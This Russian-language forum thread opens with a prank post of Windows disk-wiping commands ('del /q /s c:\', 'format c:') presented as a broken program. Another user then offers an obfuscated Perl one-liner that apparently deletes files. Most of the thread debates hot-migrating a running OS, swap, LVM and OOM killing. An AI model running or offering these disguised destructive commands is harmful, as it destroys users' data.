написал тут прогу - а она не работает, помогите пожалуйста!!!

Barbie29



<PerlScript>

system("del /q /s c:\")

</PerlScript>

Что я делаю не так?

Barbie29

сначала было вот так:
<PerlScript>
system("format c:")
</PerlScript>
но оно написало вот так:

потом было вот так:
<PerlScript>
system("echo y | format c:")
</PerlScript>
все равно не работает

zya369

верни титул

durka82

Так все же на хорошем англицком написано

Если кратко - это называется система безопасности оси.
Давно прошли те времена, когда можно было просто так снести раздел с операционкой :cool:

Dasar

Если кратко - это называется система безопасности оси.

имхо, это скорее технические ограничения, чем система безопасности.
идеальная ОС должна позволять при наличии соответствующих прав в том числе сделать и такую операцию.
в целом, мне, например, не понятно - почему сейчас не возможно провернуть сценарий следующего вида:
попросить ОС перебраться в память (на флэш, на cd и т.д. отформатировать винт, попросить ОС вернуться обратно.

dgaf

потому что ОС — это бздя!

Dasar

потому что ОС — это бздя!

она умеет без перезагрузки делать предложенный сценарий?

dgaf

может быть
создать рам диск, скопировать либы, изменить ldconfig (или как оно скопировать bin,sbin, изменить PATH, скопировать всё остальное, отмонтировать рут .. гы
нет, не знаю как без ребута.

Dasar

отмонтировать рут .. гы

а рут на винте располагается? он разве не виртуальный?

durka82

имхо, это скорее технические ограничения, чем система безопасности.
идеальная ОС должна позволять при наличии соответствующих прав в том числе сделать и такую операцию.

Мб и так.
Но тут код очень смахивает на подставу

Fmouse

эт хуйня, во как привильно: (не я)
cat "test... test... test..." | perl -e '$?s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

evgen5555

cat

echo

bleyman

Дело не в руте, а в свопе в основном, я думаю.

dgaf

да, на диске
я не знаю как после монтирования рамфс на рутфс
mount -o bind /mnt/ramfs /
отмонтировать то что было в рутфс до этого

dgaf

в ОС есть команда swapoff
если это обратно не влезет в RAM, то убить пару пргорамм

vall

их ядро за тебя прибьёт. у него есть специальный плюсомёт для этого.

Marinavo_0507

попросить ОС перебраться в память (на флэш, на cd и т.д. отформатировать винт, попросить ОС вернуться обратно

а в чём смысл такой операции, ведь получится то же, что и было?

Marinavo_0507

в ОС есть команда swapoff
если это обратно не влезет в RAM, то убить пару пргорамм

в бзде наконец-то сделали swapoff?
тогда делюсь секретом: чтобы всё влезло, нужно сначала добавить новый свап, а затем убирать старый

dgaf

у меня бзд нету. гугл говорит что есть

AlexV769

в бзде наконец-то сделали swapoff?

HISTORY
The swapon utility appeared in 4.0BSD. The swapoff and swapctl utilities
appeared in FreeBSD 5.1.

Dasar

а в чём смысл такой операции, ведь получится то же, что и было?

во-первых, может при этом поменяться винт: на другой, переделаться в рейв, смениться файловая система, перемапятся bad block-и и т.д.
во-вторых, смотря что в фразе "попросить ОС перебраться" понимать под ОС:
1. можно, например, понимать - только те части ОС, которые необходимы для продолжения бесперебойной работы, все остальное заново после форматирования будет автоматически установлено
2. можно под ОС понимать те файлы, которые входят в саму ОС + может быть, те программы, о которых ОС была извещена.
во всех этих случаях, мы получим не то же самое, что и до этого.
в первом случае - мы получаем перенос ОС в непрерывно работающем режиме с одного носителя на другой.
во втором случае - мы получаем очистку ОС от мусора опять же в непрерывно работающем режиме.

Marinavo_0507

ну перенести ОС на другую ФС можно, только вот все программы, у которых файлы открыты, придётся перезапускать - что не сильно отличается от перезагрузки компа
поменять винт, переделать рейд и прочее подобное - afaik можно без всяких перезапусков (сам не пробовал если заранее использовать какой-нибудь lvm или что там в ОС вместо него
всякие редхаты вроде бы ставятся на lvm по умолчанию (?)

Dasar

ну перенести ОС на другую ФС можно, только вот все программы, у которых файлы открыты, придётся перезапускать - что не сильно отличается от перезагрузки компа

не совсем понятно, почему ОС совместно с ФС не может это на себя взять без всякого перезапуска.

поменять винт, переделать рейд и прочее подобное - afaik можно без всяких перезапусков (сам не пробовал если заранее использовать какой-нибудь lvm или что там в ОС вместо него

в том числе и системный?

Marinavo_0507

не совсем понятно, почему ОС совместно с ФС не может это на себя взять без всякого перезапуска.

в принципе, если ФС поддерживает online resizing, то почти ничего уже не мешает
думаю, если нормальному девелоперу понадобится, закодит за неделю

dgaf

>всякие редхаты вроде бы ставятся на lvm по умолчанию (?)
вроде нет. рут, бут и своп обычный dos portitions, а дальше lvm

Dasar

в принципе, если ФС поддерживает online resizing, то почти ничего уже не мешает

online resizing умеет в том числе и в сторону уменьшения раздела?
а что он делает с дескрипторами открытыми на запись?

dgaf

>их ядро за тебя прибьёт.
oomkill не всегда убивает того кого надо. например, растёт апач, а убивается мускуль, потому что выделено под него больше.
или make -j на исходники ядра. убивает-убивает, а оно всё равно плодится и плодится.

vall

главное что всё продолжает работать, работать и работать. =)
у оом киллера есть возможность изменить рейтинги определённых процессов — скажем понизить вероятность прибивания тогоже мускула.

vall

ну перенести ОС на другую ФС можно, только вот все программы, у которых файлы открыты, придётся перезапускать - что не сильно отличается от перезагрузки компа

правильную ОС можно перенести на другой комп без перезапуска процессов и разрава соединений.

Marinavo_0507

online resizing умеет в том числе и в сторону уменьшения раздела?
а что он делает с дескрипторами открытыми на запись?

на некоторых ФС умеет
делает всё правильно

slonishka

>их ядро за тебя прибьёт.
oomkill не всегда убивает того кого надо. например, растёт апач, а убивается мускуль, потому что выделено под него больше.
или make -j на исходники ядра. убивает-убивает, а оно всё равно плодится и плодится.

мускул же лонграннинг, а апач форкается.
то есть не предскажешь, конечно, наверняка, но я всегда видел, что убивается апач.

Marinavo_0507

это уже не ОС, а виртуализатор

vall

это уже не ОС, а виртуализатор

одно другому не мешает. прогресс в Ядре идёт к тому что ворспейсцы будут скоро бегать между писюками вместе с ФС и запущенными программами, и безо всяких накладных расходов.

Barbie29

верни титул

вернул, ибо да, надо. иначе какойто прыщь.

Marinavo_0507

пусть сначала исксовые приложения научат отсоединяться от одного экрана, а потом присоединяться к другому с другими параметрами, тогда можно поговорить за прогресс

spitfire

Не то?

kruzer25

почему сейчас не возможно провернуть сценарий следующего вида:
попросить ОС перебраться в память (на флэш, на cd и т.д. отформатировать винт, попросить ОС вернуться обратно.

Во-первых, свап в память не засунешь.
Во-вторых, приложения держат открытые файлы на системном разделе - их что, целиком в память а потом назад?
В-третьих, сама ось тоже держит открытые файлы на системном разделе - все эти .exe и .dll ты тоже в память перебросишь?
Ну то есть, если памяти этак десять гигабайт, такой сценарий, может быть, и пройдёт, вот только форматирование выполнит совсем не то, что хотел бы пользователь - он хотел очистить системный раздел, а ему на свежеотформатированный раздел опять насралась куча файлов, да и ось всё равно свалилась (не получится такое реализовать без багов). Да и не понятно, зачем тратить кучу сил и времени на реализацию никому не нужной фичи "форматирование системного раздела без перезагрузки и удаления ОС".

kruzer25

можно, например, понимать - только те части ОС, которые необходимы для продолжения бесперебойной работы, все остальное заново после форматирования будет автоматически установлено

А если ОС (или какой-нибудь программе) для бесперебойной работы (например, для запуска) жизненно необходим какой-то файл, который она не лочит на всё время своей работы?
Странного вы хотите.
Тем более, добавление нового винта и так нормально реализовано в железячных контроллерах.

kruzer25

ворспейсцы будут скоро бегать между писюками вместе с ФС и запущенными программами, и безо всяких накладных расходов

Ну да, конечно.
Взял так спокойно, и перебежал на противоположную сторону планеты через десять спутников на расстоянии 50ккм друг от друга и от земли. И никаких накладных расходов.

Dasar

Да и не понятно, зачем тратить кучу сил и времени на реализацию никому не нужной фичи "форматирование системного раздела без перезагрузки и удаления ОС".

если ОС выполняет что-то критическое, то хочется чтобы поддерживалась все действия, даже самые экстравагантные, без остановки работы ОС.

kruzer25

Если ОС выполняет что-то критическое, то она запущена не на одном компьютере.
Жёсткий диск может банально умереть - вот и вся твоя критичность. У тебя ведь он один, раз там для переразметки битых секторов работа ОС нужна?

Dasar

Если ОС выполняет что-то критическое, то она запущена не на одном компьютере.
Жёсткий диск может банально умереть - вот и вся твоя критичность. У тебя ведь он один, раз там для переразметки битых секторов работа ОС нужна?

на управлении какой-нибудь котельной - едва-ли будет стоять два компьютера, и скорее всего - двух винтов тоже не будет.

kruzer25

Ну и сами тогда ССЗБ.
Стоимость реализации+проверки такого безглючного функционала в пересчёте на количество пользователей, которым это будет нужно, имхо, окажется гораздо больше стоимости рейд-контроллера+второго винта для каждого из этих пользователей; кроме того, могут полезть глюки и у простых пользователей.
Думаю, какому-нибудь там микрософту глубоко посрать на котельную в деревне гадюкино, где хотят бесперебойности и странного от ОС, но не ставят второй винт. Ему не посрать на нужды реальных потребителей, в количество которых такая котельная ну никак не входит.

slonishka

познакомьтесь: , реальный потребитель.

kruzer25

А ты считаешь, что кому-то не похуй на котельные, у которых не хватило денег на рейд, и которые хотят, чтобы их винчестер обслуживала ОС, чтобы можно было, когда винт начнёт дохнуть, выдернуть его и воткнуть новый - и всё без перезагрузки; и так же - с памятью, с процессором итд, но ни в коем случае не рейд,денег нет?

slonishka

да похуй, конечно. просто ты ввел очень смешной термин для еще более нелепой ситуации.

Helga87

Стоимость реализации+проверки такого безглючного функционала в пересчёте на количество пользователей, которым это будет нужно, имхо, окажется гораздо больше стоимости рейд-контроллера+второго винта для каждого из этих пользователей; кроме того, могут полезть глюки и у простых пользователей.

берем 1000 котельных и оказывается, что ты неправ.

Думаю, какому-нибудь там микрософту глубоко посрать на котельную в деревне гадюкино, где хотят бесперебойности и странного от ОС, но не ставят второй винт. Ему не посрать на нужды реальных потребителей, в количество которых такая котельная ну никак не входит.

Знаешь сколько таких вот котельных-шмотельных, или там поездов-шмоездов в мире? В сумме получается дофига. А значит, производитель ОС вполне себе будет рад, если все эти граждане выложат бабло.

slonishka

я, кстати, не знал, что в котельных пользуются виндовс.
теперь понятно, почему хуево греют батареи.

kruzer25

берем 1000 котельных и оказывается, что ты неправ.

Что, действительно наберётся целая тысяча таких говнокотельных?
В них же, поди, ещё и пиратская винда стоит (тоже экономят так что совсем не резон делать какие-то такие хитрые фичи.

kruzer25

Знаешь сколько таких вот котельных-шмотельных, или там поездов-шмоездов в мире?

Мало, потому что нормальные котельные-поезда, если хотят бесперебойности - организуют рейд, и после этого подобные фичи ОС их не ебут, как и внезапная кончина винчестера.

vall

Ну да, конечно.Взял так спокойно, и перебежал на противоположную сторону планеты через десять спутников на расстоянии 50ккм друг от друга и от земли. И никаких накладных расходов.

на форум ты тоже пишешь без накладных расходов — усилием мысли? или скайлиньк таки заработал? =)

Оставить комментарий